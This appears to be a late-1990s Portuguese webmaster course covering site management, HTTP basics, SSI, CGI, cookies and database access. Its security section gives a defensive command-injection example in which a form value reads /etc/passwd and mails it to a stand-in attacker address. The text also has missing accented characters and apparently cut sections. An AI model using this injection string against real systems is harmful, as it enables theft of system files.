Escolar Documentos
Profissional Documentos
Cultura Documentos
Aprenda A Ser Um Webmaster
Aprenda A Ser Um Webmaster
Este curso tem como objetivo introduzir ao Webmaster conceitos tcnicos para que ele possa, de uma maneira geral, aperfeioar seus conhecimentos no ambiente www. No curso teremos explicaes sobre o funcionamento do servidor httpd, dicas para administrar o site e apresentao das mais novas tecnologias existentes no mercado.
O cliente
Do outro lado de toda conexo www, existe um cliente. Isso pode ser dito explicitamente, se voc vende produtos, ou implicitamente, se voc usa a divulgao da informao como parte da sua estratgia. Seu site tem que ser desenhado para atender seus clientes, atendendo suas necessidades e encorajando que eles voltem no futuro. Em suma fazendo da experincia de navegar no seu site uma coisa marcante. Mas manter os seus clientes felizes no um trabalho trivial. Um dos pontos importantes que o Webmaster esteja preparado para receber as mensagens mais estranhas, de clientes confusos que no sabem nem por onde comear. Esses clientes so os que precisam de mais ajuda, a partir da os sites comeam a fazer diferena. O Webmaster na verdade est cercado por clientes. Tem o pessoal que navega, tem o chefe, o pessoal de vendas, e qualquer outra pessoa no seu local de trabalho que espera alguma forma de retorno no www. Enquanto o pessoal externo quer informaes e produtos, o pessoal interno est de olho no retorno do investimento, nos dados demogrficos, nos clientes externos. No conseguir agradar os clientes externos mortal para um site; no conseguir agradar os internos no mnimo vai te deixar com fama de chato. O cuidado com o cliente interno uma coisa difcil de aprender e executar. Aprender como preparar apresentaes, mantendo um nvel mais alto para seus gerentes, mais detalhado para os tcnicos. Aprender tambm a falar um pouco a linguagem das outras reas, enfim, estar por dentro da empresa. Infelizmente, a maioria de ns no tem tempo de aprender tudo que precisamos. Se a meta se tornar o melhor Webmaster possvel (e no apenas um Webmaster comum), uma sugesto a de reunir um time de pessoas que juntas reunam todas essas habilidades. Desta maneira, cada um pode colocar suas especialidades em prtica, usando como ponto de apoio as habilidades dos outros. Boas equipes no so timas desde o comeo. H uma evoluo natural, que acontece com os desafios, sucessos e fracassos. Eles aprendem a se comunicar, a esquecer os erros alheios e a se fortalecer. O pessoal de informtica so os que mais demoram a se adaptar (pois tem mania de trabalhar sozinhos), mas quando aprendem a confiar nos parceiros, a satisfao do trabalho em grupo muito grande. Outra coisa que provavelmente no ir funcionar so os cursos de graduao para computao com especializao em Webmaster. Um curso que dura 4 ou 5 anos, sendo que a tecnologia totalmente modificada em 8 ou 10 meses uma coisa que no funciona. H apenas 1 ano falvamos de como seriam os frames; daqui h um ano, Style Sheet ser coisa do passado. No se pode demorar 4 anos para aprender uma coisa que muda totalmente em 2. E finalmente uma palavra sobre o ttulo Webmaster. Muita gente hoje que fez 3 ou 4 HTMLs na vida se intitula Webmaster, diluindo assim a fora da palavra. Existe uma grande tendncia de unir todos os servios numa nica palavra, assim, o designer, o gerente de contedo, o gerente do site, etc., todos se auto intitulam Webmaster. No final, ento, o nome no importa: a dedicao que faz a diferena.
muito fcil errar na hora de escrever seu HTML. A maioria dos browsers ignora as tags que eles no entendem, e isso torna os Webmasters preguiosos. Infelizmente, um HTML errado pode trazer problemas, principalmente com novos produtos que esperam uma codificao impecvel. Antigamente, os acentos no precisavam ser terminados por ponto-e-vrgula, mas hoje precisam. E o mais importante, um HTML mal escrito horrvel de manter. Esses problemas podem ser evitados com o uso de um verificador de HTML. um pequeno programa que examina seu HTML e aponta os erros do seu texto. Alguns realmente bons so o CSE 3310, o W3C HTML Validation Service e o Weblint. 2. Respeite o copyright
OK, todo mundo copia imagens, textos, banners, e qualquer outra coisa que parea interessante na Internet. Afinal, est tudo l, e s clicar com o mouse para obter o que voc deseja. Mas o material que est na rede demandou trabalho, e deve ser protegido como qualquer outra publicao. Isto no vai impedir as pessoas de us-lo, mas vai lhe dar parmetros legais para se proteger se voc for prejudicado. Por isso, coloque anncios de copyright em suas pginas, daqueles simples, do tipo 1997 Your Name. Redistribution Prohibited. Nos EUA, a lei do copyright muito clara, e pune qualquer pessoa que se apossar da produo de algum sem permisso. A maneira mais educada de copiar algum texto ou imagem de algum pedindo ANTES de fazer a cpia, por email, por exemplo. Caso a pessoa no libere o uso do texto, NO use. Apesar da lei brasileira ainda estar engatinhando nesse tipo de assunto, nunca bom facilitar. As leis americanas protegem esse tipo de material mesmo que no exista nenhum aviso de copyright. E eles punem esse tipo de cpia no-autorizada da mesma maneira que violao de correspondncia. 2. Conhea seu site
Nunca se esquea que seu site existe com um propsito. Um site no existe apenas por existir. Cada Webmaster tem que saber responder algumas questes bsicas: Por que esse site existe ? Quem so os meus clientes ? Como esse site se paga ? Qual a minha meta com ele ?
A primeira questo no muito difcil. Normalmente voc sabe se seu site se destina venda de algum produto, divulgao de informaes, etc. Esse o motivo pelo qual voc colocou esse site no ar. Se voc no sabe, nem se d ao trabalho de se perguntar o resto. Assumindo que voc saiba a resposta, veja a segunda pergunta. Quem seu pblico alvo ? Eles sabem como encontrar seu site, nos ndices de busca ? Voc est fazendo propaganda suficiente do seu site ? O cliente a coisa mais importante de um site, e o fato do seu estar de acordo com as necessidades do seu meio caminho andado. Depois disso, vem a pergunta a respeito de dinheiro. Muitos sites so mantidos por fundaes, outros por empresas, mas todos eles custam dinheiro. Linhas, mquinas, profissionais, tudo isso para colocar no ar um site, que TEM que gerar algum tipo de lucro. Defina logo de cara seus objetivos em relao a isso.
E por ltimo, defina a meta desse site. Voc est interessado em hits ? Em atender um certo nmero de clientes ? Em tirar lucro ? Defina sua meta e se esforce para cumpri-la. Definindo a palavra sucesso para esse site, voc consegue saber exatamente at que ponto voc vai crescer, e isso torna suas expectativas mais realistas. 4. Defina os padres Nada pior do que um site inconsistente, confuso, difcil de entender. Normalmente esses problemas so causados por falta de padronizao. Principalmente em sites grandes, com dezenas de designers. Defina as cores, os layouts de pgina, o estilo de escrita. Isso torna seu site mais consistente. Criar boas pginas demanda tempo. Mas uma vez que voc tenha uma pgina padro, provavelmente muito do cdigo dessa pgina vai ser usado em outras (barra de navegao, copyright, links para contato, etc.). Uma das sugestes seria usar a tecnologia de server-side includes, ou SSI. Essa tecnologia permite incluir texto em qualquer parte do seu HTML com um simples comando. 5. Mantenha e use estatsticas Nmeros so perfeitos para provar as coisas. Um grfico estatstico uma forma maravilhosa de mostrar que voc est correto. No se esquea que seu site est gerando nmeros o tempo todo: hits, browsers, taxas de transferncias, etc. Esses nmeros provam a sade do seu site, provam que ele est indo bem, ou no. Mostram as pginas mais visitadas, e que precisam ser sempre estar atualizadas, pois so o chamariz do seu site. Preste muita ateno neles, que so os verdadeiros indicadores do seu servio. 6. Facilite a navegao Lembre-se que navegar significa cruzar, viajar, e no ficar estacionado. Muitos sites se esquecem que muitos visitantes acontecem por acaso, vindos de outros sites que apontam o seu como referncia ou simplesmente numa pesquisa num ndice. E quando eles chegam no seu site, isso no garantia de que eles vo ficar. Eles vo inicialmente testar seu contedo para saber se vale a pena ficar ou no. Lembre-se como voc mesmo navega, batendo aqui e ali e procurando o que precisa. Faa ento um site que voc gostaria de encontrar na rede. Pginas pequenas, que permitem rpido download e leitura. Convide o usurio a navegar no site, atraindo por onde ele mais gosta: velocidade e informao. 7. Crie ndices Qualquer site com mais de 10 pginas deveria ter um link que permita ao usurio fazer uma pesquisa em suas pginas utilizando uma palavra chave. Isso importante por dois motivos bsicos: O usurio perde menos tempo navegando por pginas procurando a informao desejada, que bom para ele. E isso agiliza o uso da rede, que tem que transferir menos informao intil, o que bom para todos. Existem produtos comerciais e gratuitos disponveis na rede para isso. 8. Promova a informao No faa do seu site um monte de pginas difceis de entender. Oferea pginas com informao clara. Muitos Webmasters so artistas, e cada pgina uma obra de arte, com imagens de fundo, layouts apurados, grficos de alta definio e fontes perfeitas, mas nada disso muda a informao que est representada nessa pgina. Tirando todo o glamour dessas pginas, normalmente sobra menos texto do que o necessrio para encher 10 linhas. Perca menos tempo tentando fazer seu site parecer bonito; mostre mais contedo. A maioria dos usurios no tem pacincia de esperar uma pgina muito pesada carregar. Ento, remova os grficos suprfluos. Aposente o cone Em Construo. Ou a pgina est no ar ou no. Quebre pginas longas em pginas menores. Disponibilize mecanismos de busca, de modo que seu usurio no precise navegar por todo o site antes de encontrar o que precisa. Em suma, o importante e o que est escrito.
9. Coloque muitos links Links para suas prprias pginas, para o incio da seo, para o incio do seu site, para outros sites com assuntos relacionados, para tudo. s vezes esquecemos que nossos clientes no entram a partir da pgina inicial, e que a Web s o sucesso que pois h links de todos os lugares para todos os lugares. Tudo bem, manter links muito chato, mas um dos seus servios como Webmaster manter informaes para seus clientes. 10. Suporte a vrios browsers Est provado: um dos browsers mais populares do mundo a impressora. Alm dela, muitos usurios utilizam browsers alternativos. Ento, procure no desenvolver uma pgina que funciona apenas nos browsers mais modernos, como o Netscape ou Explorer. Voc ficaria surpreso em sabe que uma boa parte do pessoal na Internet navega com browsers alternativos. J existem PDAs que permitem a navegao na rede. J imaginou como seu site fica numa tela preto-e-branco de cristal lquido de 5x7 ? 11. Tenha uma parte grfica eficiente Todos gostamos de colocar grficos em nossos sites. Grficos so bons, se as imagens so consistentes, atrativos e servem para melhorar a qualidade de seu contedo. Infelizmente poucos de ns somos bons nisso, e existem pessoas que colocam o primeiro grfico que encontram s para a pgina no ficar sem nenhum. ANTES de escrever IMG=, veja se a imagem vai realmente fazer diferena ou no. 12. Ponha o link para o Webmaster Muitos sites so to mal feitos ou desatualizados que o prprio Webmaster no assina seu trabalho, no divulga seu email, prefere no aparecer. Voc, que tem orgulho do seu site, procure arrumar um tempo para colocar seu nome em suas pginas. No precisa ser algo elaborado, cheio de links, apenas algumas palavras e um link para o seu email. Seu cliente saber assim quem desenhou essa pgina e onde essa pessoa pode ser encontrada. s vezes as pessoas esto tentando se comunicar com sua empresa e a nica pista que eles tero ser o seu nome. E mais uma coisa: se voc colocar seu email nas pginas, LEIA o email, e RESPONDA a todos. 13. Crie uma boa estrutura de diretrios A ferramenta mais importante para a organizao de um site a sua estrutura de diretrios. Muitos sites exibem poucos nveis, mantendo muitas pginas, CGIs e applets no mesmo diretrio. Agrupe suas pginas em diretrios, com links para os nveis acima. Esse tipo de organizao ajuda seus clientes a perceber onde esto indo, pela estrutura que seu site est montado. E mais importante, esse tipo de organizao vai manter seu site mais fcil de entender e atualizar. Voc pode construir pginas intermedirias para subsees, que podem inclusive ser mantidas por outros designers. 14. Mantenha seus links Links que no funcionam so a marca registrada de um site que no tem uma boa manuteno. O Webmaster tem que ser um verdadeiro caador de links errados. Esse um trabalho muito tedioso, e um bom produto que j fornea um relatrio dos links errados imprescindvel. Para minimizar esse problema dentro do seu prprio site, use links relativos sempre que possvel.
Linha Inicial do Pedido A linha inicial do pedido diferente da linha inicial da resposta. Uma linhas de pedido tem 3 partes, separadas por espaos: O nome de mtodo (METHOD), o caminho do arquivo pedido (PATH) e a verso do HTTP que est sendo usada, como no exemplo:
GET /path/to/file/index.html HTTP/1.0
Notas: O mtodo GET o mais comum. Ele quer dizer: "Me d esse arquivo". Outros mtodos populares so o POST e o HEAD. O mtodo sempre vem em letras maisculas. O caminho a parte que vem depois do hostname na URL. A verso do HTTP sempre vem no formato "HTTP/x.x", sempre em maisculas. Linha Inicial da Resposta A linha inicial da resposta, chamada de STATUS LINE, tambm tem 3 partes separadas por espaos: A primeira a verso do HTTP, a segunda um cdigo de status que indica o resultado do pedido, e uma frase em ingls descrevendo o cdigo de status. Uma tpica linha de status seria:
HTTP/1.0 200 OK ou HTTP/1.0 404 Not Found
Notas: A verso do HTTP vm no mesmo formato da linha inicial do pedido: "HTTP/x.x". cdigo de status sempre tem 3 dgitos, e se dividem em categorias: 1xx - indica uma mensagem informativa 2xx - indica sucesso 3xx - indica redirecionamento para outro endereco (URL) 4xx - indica um erro no cliente (browser) 5xx - indica um erro no servidor
Terminando com um CRLF (enter). O formato o mesmo utilizado em email, conforme definio RFC 822, seo 3. A verso 1.0 do HTTP permite 16 tipos diferentes de cabealhos, embora sejam todos opcionais. A verso 1.1 permite 46 cabealhos e um se tornou obrigatrio. o HOST, que identifica a mquina que est se comunicando. O corpo da mensagem Uma mensagem HTTP pode ter um corpo contendo dados depois de suas linhas de cabealho. Em uma resposta, normalmente temos um arquivo que est sendo retornado para o cliente, ou um texto com um cdigo, caso tenha ocorrido algum erro. Num pedido, podem ser os parmetros de um formulrio, por exemplo. O corpo da mensagem normalmente um arquivo HTML. Os autores de pginas podem incluir informaes relevantes na pgina utilizando-se a tag <META> do HTML. Normalmente informa-se o nome do autor da pgina, data de expirao e assunto tratado no documento. A informao muito til principalmente para os mecanismos de busca automtica na Internet, que se utilizam dessas informaes para classificar os arquivos. Se uma comunicao HTTP inclui um corpo, normalmente seu contedo j foi descrito num cabealho anterior. Os cabealhos mais utilizados para essa descrio so:
Content-Type: Informa o tipo MIME do dado no corpo. Exemplo: text/html, image/jpg. Content-Lenght: Informa o tamanho em bytes do corpo.
Caso no exista nenhum cabealho, o servidor vai tentar descobrir qual o tipo do arquivo sendo transmitido.
Existem 6 comandos diferentes, com parmetros especficos para cada um deles. Falaremos a seguir dos mais importantes.
<!--#fsize file=documento.html --> Mostra o tamanho do arquivo, em bytes. <!--#flastmod virtual=/somedir/other.html --> Data da ltima alterao. <!--#echo var=LAST_MODIFIED --> Data da ltima alterao. <!--#echo var=DATE_LOCAL --> Data e hora local. <!--#echo var=DATE_GMT --> Data e hora GMT. <!--#echo var=DOCUMENT_NAME --> Nome do documento. <!--#echo var=DOCUMENT_URI --> Localizao do documento no servidor. <!--#echo var=QUERY_STRING --> Varivel QUERY_STRING (ver CGI). <!--#include virtual=rodape.html --> Inclui o arquivo rodape.html a partir da linha.
Mas o comando mais importante e o exec. Ele permite que seja executado um programa e que seu resultado seja automaticamente colocado na linha, como no exemplo:
<!--#exec cmd=/usr/local/bin/contador -->
Que pode ser um contador de acesso simples. Um exemplo mais interessante seria a capacidade de fornecer contedo dinmico, dependendo do domnio que acessou seu servidor. Vamos supor que quero que meus clientes vejam uma pgina especfica ao acessar meu site, e meus funcionrios vejam outra. Posso fazer isso baseado no domnio da mquina que est acessando o site, como no exemplo abaixo (copyright de chuck.musciano@sunworld.com):
<!--#exec cmd=/usr/local/bin/check-domain domain internal.html external.html -->
CGI
O CGI (Common Gateway Interface) serve para fazer a ligao entre o servidor www e a mquina servidora. Ele utilizado para qualquer tipo de servio, desde contadores at acesso a banco de dados. A utilizao de CGIs no servidor geralmente est relacionada com o processamento de dados enviados por formulrios. A programao no complicada, e se voc consegue fazer um programa que leia a STDIN e escreva na STDOUT (STandard OUTput), ento voc consegue escrever CGIs. Se voc no programador, infelizmente esse material no vai te ajudar muito. Voc tem que aprender as noes de programao ANTES de qualquer coisa. Vamos comear explicando o que CGI. CGI NO uma linguagem, um programa. Um CGI pode ser escrito em QUALQUER linguagem que leia a STDIN, escreva na STDOUT e consiga ler variveis de ambiente. No Unix, praticamente TODAS as linguagens tem esses atributos, mas as preferidas so C, Perl ou mesmo as Shells (sh, csh, bsh). :) A estrutura de um CGI simples, e consiste basicamente de 3 passos: Ler a entrada dos dados Manipul-los Devolver a resposta em HTML. Vamos descrever ento o primeiro e o ltimo passo, sendo que o passo intermedirio fica a seu cargo
Lendo a STDIN
Quando um usurio envia um formulrio, seu programa recebe os dados como um conjunto de campos no formato nome=valor. Os nomes so definidos no formulrio, quando voc define os campos com as instrues INPUT, SELECT, etc. Os valores so qualquer coisa que o usurio digitou ou selecionou. Os dados so passados para o seu programa como uma string longa, que voc precisa quebrar para separar os valores. Isto no complicado, e temos comandos na shell Unix (como CUT ou AWK) que servem para isso. Existem rotinas prontas na Internet que fazem isso tambm. O formato dessa string :
name1=value1&name2=value2&name3=value3
Ela vem nesse formato para facilitar a diviso. Os sinais de & dividem as variveis. Mais dois detalhes: no caso de um formulrio com a instruo TEXTAREA, os espaos em branco so convertidos em sinais de +, e caracteres acentuados e os sinais de =, &, e outros que so utilizados na montagem da string so convertidos para o seu cdigo em ASCII. O programa que separa as varveis normalmente j faz a converso desses valores. Essa string pode ser passada para o seu programa de duas maneiras diferentes, dependendo do mtodo que foi especificado na instruo METHOD do formulrio: No mtodo GET, a string enviada via uma varivel de ambiente, chamada QUERY_STRING. No mtodo POST, ela lida da STDIN. O mtodo POST o mais indicado para formulrios complexos.
Apenas isso. Quando o programa terminar, a pgina de resposta automaticamente vai para a STDOUT, e o servidor vai enviar o contedo para o cliente. Isso significa que seu programa, na verdade, est gerando cdigo HTML em tempo real. No complicado, e o HTML foi desenhado para ser uma linguagem simples. Nota: A sada do comando pode ser um arquivo texto (um relatrio, por exemplo) ou ento uma imagem. Nesse caso, basta alterar o Content-Type para o tipo apropriado.
Com essa informao, o CGI pode identificar o cliente. Note que hidden no quer dizer secreto, isto , o usurio sempre pode clicar no View Source. Outra maneira utilizar a varivel de ambiente PATH_INFO. Essa varivel serve para a passagem de texto adicional na URL que vai ser acessada pelo programa CGI depois do nome do programa. Por exemplo, se a URL do seu programa for:
http://www.unicamp.br/cgi-bin/lista.cgi
O programa lista.cgi vai ser executado e ter a sua disposio uma varivel de ambiente que vai conter o texto passado aps a chamada do CGI. Desse modo seu programa tambm consegue manter informaes para o usurio. S um detalhe: URLs tem um tamanho mximo de 1024 caracteres. Se o nmero de informao crescer muito, pode-se criar um arquivo temporrio no servidor, que contenha todos os parmetros e que seja acessvel por um ndice nico, mandado via PATH_INFO. Outra maneira de manter a transao usando Cookies. O Cookie um mecanismo novo, proposto pela Netscape (mas que hoje aceito na maioria dos browsers) que permite ao browser manter informaes que so gravadas pelo servidor. Toda vez que o cliente entrar em contato com o servidor que programou o Cookie, ele vai enviar o contedo dos Cookies para esse servidor. Por exemplo, seu programa CGI pode usar a seguinte rotina para programar um Cookie:
echo Content-type: text/html echo echo Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Jul-97 23:59:59 GMT; path=/cgi-bin/ echo <h1>Texto da pgina<h1> ...
Essa linha gera um Cookie que sempre vai ser enviado de volta para seu servidor com qualquer pedido de documento que tenha a palavra /cgi-bin/ na URL. O Cookie vai continuar a ser enviado at sua data de expirao. O tempo de expirao deve ser o GMT. Quando o programa for acessado novamente pelo usurio, o valor dos Cookies vai ser passado pela varivel de ambiente HTTP_COOKIE. Cada Cookie vai ser apresentado no formato
NOME=VALOR;NOME1=VALOR1;...;NOMEn=VALORn
Num ambiente de produo comum, temos uma linguagem especializada, na qual o desenvolvedor tem acesso a uma srie de rotinas para criar telas de entrada de dados, relatrios de sada, e linguagem de acesso base de dados. O HTTP inicialmente no foi projetado como um ambiente que faria acesso a bancos de dados, ento essas rotinas tem que ser implementadas utilizando criatividade e pacincia. Na parte do cliente, o principal problema que o HTML uma linguagem de editorao, e no tem nenhuma instruo para consistncia dos campos. Para isso, utiliza-se mais comumente um applet Java, ou cdigo Javascript, ou LiveWire (Netscape), ou Visual Basic Scripting (Microsoft). Algumas dessas solues no se aplicam a todos os browsers (como o VBS), obrigando a adequaes nem sempre funcionais. Voc pode optar por consistncias simples (que no tem interao com a base), ou por rotinas mais complexas, permitidas por Java+JDBC, ou por LiveWire ou VBS. Essas tecnologias permitem que o HTTP entre em contato com a base de dados no servidor. No primeiro caso, as consistncias tero que ser implementadas em tempo de programa, e caso haja erro o programa ter de acus-lo e reapresentar o formulrio. Uma vez escolhido o mtodo de consistncia, vamos ao servidor.
Essa soluo prtica, e permite a ligao de praticamente todos os SGBD. Entretanto, no elimina a necessidade de um CGI onde est o servidor www, para que possamos enviar o SQL para a outra mquina. A performance excelente, e permite a reutilizao dos CGIs, caso haja alteraes no ambiente (a interface ODBC sempre a mesma). Essa soluo genrica, e podemos aproveitar a ligao ODBC para ligar outros servidores. Como exemplo, podemos citar o SQLServer da Microsoft, que tem a capacidade de ligao com um SNAServer, o que torna possvel a ligao de bases em Mainframes IBM com um servidor WindowsNT, de modo que os dados possam ser disponibilizados da mesma maneira. Outras maneiras Solues feitas sob medida tambm podem ser criadas. A Unicamp testou com sucesso 3 solues para acesso, todas elas tendo em vista necessidades especficas de nosso ambiente. Uma das opes, ligando duas servidoras Unix, foi fazer um CGI que fazia uma chamada via RSH para outra servidora Unix que tem uma base de dados baseada em Informix. Esse RSH enviava os parmetros para um programa 4GL (linguagem de desenvolvimento do Informix) que executava uma aplicao que acessava a base e trazia o relatrio, que era enviado por sua vez de volta ao servidor www. Essa opo considerada lenta, e insegura, pois a RSH supe que as duas mquinas tem uma relao de confiana e segurana entre elas, o que no era verdadeiro. Outra opo consistia em ter um servidor www principal, que serve pginas e formulrios, e outro servidor www simples, que s executa CGIs. Nesse caso, o cliente conecta no primeiro e recebe um formulrio que ao ser preenchido, enviado para o segundo servidor, que executa um CGI em Pascal que faz a pesquisa na base, enviando o relatrio para o cliente. Essa opo uniformiza o uso dos formulrios, e torna segura a conexo, pois os dados so enviados via mtodo POST e no necessita de nenhum relacionamento especial entre as mquinas. Mas tambm lenta. Essa opo permite at que uma linguagem com mtodos de acesso a rede (como Visual Basic 5.0, Visual C++ 5.0 ou Java) possa acessar vrias bases num s programa, como no esquema abaixo:
Uma ltima opo testada com sucesso um CGI no servidor www que envia um pedido ao Mainframe IBM com pedidos de consulta. Esse pedido interpretado pelo JES2 (gerenciador de aplicaes do IBM) e executado por um programa Cobol, que recebe os parmetros, faz a consulta na base e devolve os resultados. A comunicao entre o Mainframe e a mquina feita via FTP. Essa a soluo mais lenta e insegura, pois deve existir uma rea que tenha privilgios para leitura na base, e que no pede senha para entrar. As trs opes funcionam, seus tempos de resposta variam bastante e so todas inseguras. Para segurana em aplicaes distribudas no basta apenas encriptar os dados, temos que garantir a integridade das informaes e que a transao realmente se completou de maneira correta, tanto do lado do cliente quando do lado do servidor. Isso conseguido via solues prontas de servidor de certificados e transaes. Existem vrias solues no mercado, como por exemplo, a da Netscape.
Se um hacker enviar pelo formulrio a linha abaixo, que fosse atribuda varivel $destino:
; cat /etc/passwd | mail hacker@devil.com
Um modo de evitar esse tipo de abordagem evitar que o comando leia os parmetros diretamente, ou filtrar a entrada, para evitar ler o caracter ;.
O ambiente no futuro
Basicamente, hoje, o servidor www se limita a receber pedidos e passar os arquivos. Ele cumpre muito bem a funo para o qual foi desenhado, mas seus idealizadores nunca imaginaram que o ambiente iria se tornar o front-end para aplicaes mais desejado do mercado. Ainda existe uma srie de detalhes a serem resolvidos, mas a tendncia daqui para frente que o ambiente deve ser gradualmente integrado com servios comuns de rede. Isso vai facilitar a incluso e recuperao de informaes, e gradualmente o HTML ir desaparecer. Dessa maneira, se tornar uma poderosa ferramenta de controle gerencial e de busca de informaes, tudo integrado na mesma interface. Tudo com controle de acesso, segurana da privacidade da informao, workflow, etc. A nova verso do HTTP (1.1) prev a implementao de conexo persistente, compresso de dados em tempo de envio, a integrao de um cache de documentos mais acessados, e novos mtodos para acesso de dados, tanto para receb-los quanto para carreg-los. O protocolo vai ser mais rpido, eliminando o slow start, que faz com que a conexo www seja lenta. Especialistas dizem que s de implementar clientes e servidores com o novo HTTP, j teremos um aumento de performance de at 4 vezes. Veja as pginas do W3C para maiores detalhes. Se a tendncia se confirmar, o novo ambiente resultante desses novos padres vai exigir mquinas cada vez maiores e Webmasters cada vez mais especializados nesse ambiente, at que finalmente o usurio local poder ter toda sua rea de trabalho num site www, que pode ser acessado via cliente www de qualquer lugar do mundo, com toda a segurana e de qualquer plataforma. Em 1996, 90% dos browsers eram Netscape, e sua verso 2.0 ainda estava em beta. O Internet Explorer ainda estava em sua primeira verso, e o Windows95 estava no mercado h apenas 4 meses. O HTML ainda estava na verso 2.0, que trouxe a tag <TABLE>. Falava-se de HTML 3.0, que traria os frames. A maioria das pessoas usavam servidores Apache e CERN, e quase todos os clientes nem sabiam o que era uma URL. Em 2 anos, Netscape e Explorer passaram para a verso 4.0, no se fala mais de frames e sim de Style Sheets, a estamos prximos ao HTML 4.0. Existem dezenas de servidores no mercado, muitos em ambiente NT, a maioria oferecendo mais do que apenas pginas, mas vendas on-line, acesso a banco de dados, e todo o mundo sabe o que a web hoje em dia. Isso prova que fazer previses a respeito desse ambiente bobagem. Mas existem algumas consideraes, obtidas de experincia de alguns mestres na web, sobre o que ir acontecer a curto prazo. Relacionamos algumas. XML: O XML (Extensible Markup Language) uma verso simplificada do SGML (Standardized General Markup Language). O SGML usado para criar linguagens especficas de apresentao. O HTML, por exemplo, foi criado usando os padres SGML. Quando o XML apareceu, muitos disseram que ele ir substituir o HTML. Mas isso no ir acontecer, pois elas se prestam a coisas diferentes, e o XML muito mais difcil de usar. Diferentemente do HTML, voc no pode criar pginas com o XML, mas definir uma linguagem para ento definir as pginas. Como as linguagens so dependentes dos browsers, voc teria que criar plug-ins para os browsers reconhecerem sua linguagem. O processo todo muito complicado para ser utilizado por um usurio e um cliente comum. HTML 4.0: Por muitos anos o padro HTML foi lanado para alguns meses depois estar desatualizado. No incio a Netscape puxava o carro, introduzindo novas tags que eram depois copiadas pelos outros browsers. H algum tempo no se criam novas tags, e agora a verso 4.0 deve chegar com todas as tags existentes j formalizadas e vai definir o que todos os browsers iro entender. Diz-se que essa verso ir trazer como novidades algumas extenses de <TABLE> e formalizar os frames. Seu lanamento est previsto para 1998. A verso 5.0 deve sair prximo ao ano 2000. Ferramentas de autoria: Depois de alguns meses que o HTML foi lanado, surgiram os primeiros editores para facilitar a vida das pessoas que trabalhavam com ele. Quase 1 ano depois, os editores WYSIWYG prometiam que ningum mais teria que aprender HTML para fazer suas pginas. Mas esses editores quase sempre se desatualizavam em alguns meses, medida que novas tags iam sendo lanadas e eles no ofereciam uma viso global da estrutura do site. Hoje em dia, existem produtos que realmente fazem a integrao homem-site, oferecendo recursos suficientes que realmente tornam a manuteno de um site e de seu contedo muito mais simples. A utilizao desse tipo de produto vai explodir daqui para frente.
Style Sheets: As Style Sheets surgiram em 1997, e so suportadas pelo Netscape e pelo Explorer. Mas at hoje poucas pessoas usam essa tcnica. Ela permite que um cliente, mesmo utilizando um browser incompatvel com a tecnologia ainda visualize uma pgina comum, permitindo que o usurio ainda tenha acesso informao. E quando esse usurio fizer um upgrade de seu browser, ele ter uma grata surpresa. As Style Sheets tornam a manuteno do layout e das fontes uma coisa muito fcil, e so vlidas por partes ou pelo seu site todo. Quer mudar suas cores de fundo ? Altere sua Style Sheet e todo seu site acompanhar a mudana. Em 1998, mais e mais designers iro estudar e implementar essa tecnologia, que apesar de chegar devagar, vai chegar para ficar.
Links Recomendados
Netscape Enterprise Developer - http://www.ne-dev.com/ Wired - http://www.wired.com/ Sun On-line http://www.sun.com/